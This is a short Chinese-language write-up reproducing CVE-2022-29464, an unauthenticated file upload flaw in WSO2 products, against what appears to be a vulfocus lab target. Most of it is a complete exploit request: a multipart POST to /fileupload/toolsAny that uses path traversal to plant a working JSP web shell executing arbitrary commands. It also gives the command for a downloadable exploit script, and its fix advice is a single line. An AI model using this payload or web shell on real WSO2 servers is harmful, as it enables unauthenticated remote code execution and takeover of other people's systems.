1.漏洞描述
WSO2文件上传漏洞(CVE-2022-29464)是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。
2.影响范围
- WSO2 API Manager 2.2.0 及更高版本到 4.0.0
- WSO2 Identity Server 5.2.0 及以上至 5.11.0
- WSO2 身份服务器分析 5.4.0、5.4.1、5.5.0 和 5.6.0
- WSO2 身份服务器作为密钥管理器 5.3.0 及更高版本至 5.10.0
- WSO2 Enterprise Integrator 6.2.0 及更高版本至 6.6.0
3.EXP
下载地址:https://github.com/hakivvi/CVE-2022-29464/
4.漏洞复现
靶场环境:https://vulfocus.cn
启动WSO2 文件上传 (CVE-2022-29464)靶场
访问WSO2 Web页面https://123.58.236.76:33185/carbon/admin/login.jsp
访问Web页面使用burp抓包,修改为如下payload
POST /fileupload/toolsAny HTTP/1.1
Host: 123.58.236.76:33185
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 899
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
--4ef9f369a86bfaadf5ec3177278d49c0--
根据返回信息可判断shell.jsp已成功上传
浏览器访问https://123.58.236.76:33185/authenticationendpoint/shell.jsp,可执行任意命令
也可直接下载EXP,执行如下命令
python3 exploit.py https://123.58.236.76:33185 cmd.jsp
5.修复建议
建议更新到最新版本。